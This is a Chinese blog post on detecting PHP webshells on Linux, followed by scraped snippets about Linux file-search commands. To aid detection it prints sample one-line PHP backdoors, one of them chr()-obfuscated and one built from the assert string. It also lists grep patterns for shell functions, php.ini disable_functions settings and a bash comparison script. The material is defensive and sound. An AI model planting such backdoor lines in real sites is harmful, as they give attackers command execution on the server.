linux查找webshell

原文出处:http://my.oschina.net/longquan/blog/155905

首先认识一下小马,一般大马容易暴露,骇客都会留一手,把小马加入正常PHP文件里面

<?php eval ($_POST[a]);?> //密码为a,使用中国菜刀连接

隐藏很深的小马

fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).
。。。省略

解码:
其中chr括号里面的数字是美国信息交换标准代码,缩写:ASCII 可以找一份对照表对应一下

比如 46  就是 .
       47  就是 /
       32  就是 空格

也可以echo chr(46)解出来
<?php
echo chr(46).chr(47).chr(97).chr(46)
?>

WINDOWS下的应该有很多日志分析和查杀工具(比如D盾等),那么,LINUX下如何查找WEBSHELL呢?

find /www/ -name "*.php" |xargs egrep ‘assert|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval \(str_rot13|\.chr\(|\$\{\"\_P|eval\(\$\_R|file_put_contents\(\.\*\$\_|base64_decode‘

然后就手工查看,写入计划任务啦。

只查小马的可以

grep -r --include=*.php  ‘[^a-z]eval($_POST‘ . > post.txt
grep -r --include=*.php  ‘[^a-z]eval($_REQUEST‘ . > REQUEST.txt

查出来了,重要的是要分析日志,查看入侵源头。

防范:

禁用危险函数,整理权限,防止权限过大

disable_functions = exec,scandir,shell_exec,phpinfo,eval,passthru,system,chroot,chgrp,chown,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,s
ymlink,popepassthru,stream_socket_server,fsocket

在网上找了一份用PHP查找WEBSHELL的东东,适用数据量小及少

https://github.com/emposha/PHP-Shell-Detector

git 下来  只需要2个文件
shelldetect.php   //默认帐号密码 admin protect 
shelldetect.db

如果你有什么好的建议,感谢你的分享:)

20130826更新

小马的变种很多,经常会绕过我们的检查,此时,最好能做把文件进行对比。

比如,网上找的这个PHP一句话<?php $k="ass"."ert";$k(${"_PO"."ST"}[‘8‘]);?>

下面提供自己写的比较简单的检查脚本,思路是对比目录有更新的PHP文件进行匹配。

#!/bin/bash
# 先RSYNC干净的,再执行此脚本最好
Date=`date +%Y%m%d_%H:%M`
src=/www/www.a.com/
dest=/www/www.a.com.bk/
log_tmp1=/root/sh/webshell_php.log
log_result=/root/sh/webshell_result.log
which egrep
if [ $? -ne 0 ];then
echo "Not Found egrep,exit"
exit 0
fi
rsync -av --include="*/" --include="*.php" --exclude="*" $src $dest|grep -i php > $log_tmp1
for diff in `cat $log_tmp1`
  do
     egrep ‘assert|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval \(str_rot13|\.chr\(|\$\{\"\_P|eval\(\$\_R|file_put_contents\(\.\*\$\_|base64_decode|\@preg_replace‘ "$dest""$diff"
  if [ $? -eq 0 ];then
     echo "===========================" >> $log_result
     echo "$Date" >> $log_result
     echo "$dest$diff is Dangerous" >> $log_result
   fi
done

扩展阅读:

shell反弹

php-security-best-practices-tutorial

十大PHP最佳安全实践

使用suhosin保护PHP

时间: 2024-10-29 19:07:20

linux查找webshell的相关文章

Linux查找文件

which 可以查找可执行文件的位置 ? 1 2 [email protected]:~$ which ping /bin/ping whereis whereis -m 可查询到命令的帮助文档在什么地方 ? 1 2 3 4 [email protected]:~$ whereis -m ls ls: /usr/share/man/man1/ls.1.gz [email protected]:~$ whereis -m pwd pwd: /usr/share/man/man1/pwd.1.gz

linux 查找指定内容并显示指定行数的命令,显示匹配行和行号

grep -i "desktop-printing-0.19-20.2.el5.x86_64" -n -A 10 install.log linux 查找指定内容并显示指定行数的命令,显示匹配行和行号,布布扣,bubuko.com

linux查找特定类型的文件中是否包含特定字段

shell是个好东西,极大的方便了查询工作,之前遇到一个问题,查询包含有特定字段的特定文件,经过查询,命令如下: 1 find . -type f -name '*.cpp' print|xargs grep -r '#include' -l 上述命令的意思是查询包含有 '#include' 字符的 cpp文件,并给出文件名列表.具体需要熟悉find 和grep命令和各个参数的意思. 参考链接:http://blog.sina.com.cn/s/blog_691a84f301015khx.htm

Linux查找多个类似但是不同名的文件并且重命名

这个题目据说是百度一面的面试题,Linux题:查找以core.1,core.2....形式命名的文件,然后将这些文件名改成bak.core.1,bak.core.2,...... 首先应该找到这些文件,使用 find . -name "core.[0-9]" -print   ,可以找到: find的使用方法: 1.命令格式: find pathname -options [-print -exec -ok ...] 2.命令功能: 用于在文件树种查找文件,并作出相应的处理 3.命令参

linux查找命令、find、grep总结

find 命令 语法:find 搜索路径 匹配表达式 功能:该命令用于在指定路径中查找符合条件的文件,搜索路径可以是多个目录,不同目录之间以空格分隔 (1)匹配表达式1      -name filename:要查找的文件名.可以使用通配符"*","?",但要用双引号将文件名引起来           例子:root# find  –name  "h*"  –print           翻译:在当前目录下查找以h开头的文件          

linux查找文件总结

locate:非实时的查找,查找过程根据全系统文件数据库进行的,查找方式非精确. 默认系统定时写入数据库. 优点:查找速度快. 若无数据库,可以手动创建,updatedb,但是该命令处理时间会很长. find:实时的,精确的,遍历指定目录的所有文件完成查找,查找速度慢. 支持众多查找标准(支持正则表达式) find 查找路径   查找标准   查找到以后处理操作 默认当前路径默认当前路径下所有文件默认为显示区分大小写 匹配标准: -name 'fliename' 例子:find /tmp -na

Linux查找和替换目录下所有文件中字符串(转载)

转自:http://rubyer.me/blog/1613/ 单个文件中查找替换很简单,就不说了.文件夹下所有文件中字符串的查找替换就要记忆了,最近部署几十台linux服务器,记录下总结. 查找文件夹下包含字符串的文件 例:查找/usr/local目录下所有包含”rubyer.me”的文件. grep -lr 'rubyer.me' /usr/local/* vim替换单个文件中所有字符串方法 例:替换当前文件中所有old为new :%s/old/new/g #%表示替换说有行,g表示替换一行中

centos、linux查找未挂载磁盘格式化并挂载?

centos.linux查找未挂载磁盘格式化并挂载? df -h 查看当前linux服务器硬盘: fdisk -l /dev/sda   第一块硬盘 /dev/sdb   第二块硬盘 依此类推 以/dev/sdb为新增硬盘为例,需要进行以下操作方可正常使用 1.分区 fdisk /dev/sdb 依次输入 n,回车 p,回车1,回车 回车 2.格式化 mkfs -t ext4 -c /dev/sdb1 3.挂载(挂载目录可自行定义) mount /dev/sdb1 /opt [[email pr

[转] Linux 查找文件内容

Linux查找文件内容的常用命令方法. 从文件内容查找匹配指定字符串的行: $ grep "被查找的字符串" 文件名例子:在当前目录里第一级文件夹中寻找包含指定字符串的.in文件grep "thermcontact" */*.in 从文件内容查找与正则表达式匹配的行:$ grep –e "正则表达式" 文件名 查找时不区分大小写:$ grep –i "被查找的字符串" 文件名 查找匹配的行数:$ grep -c "被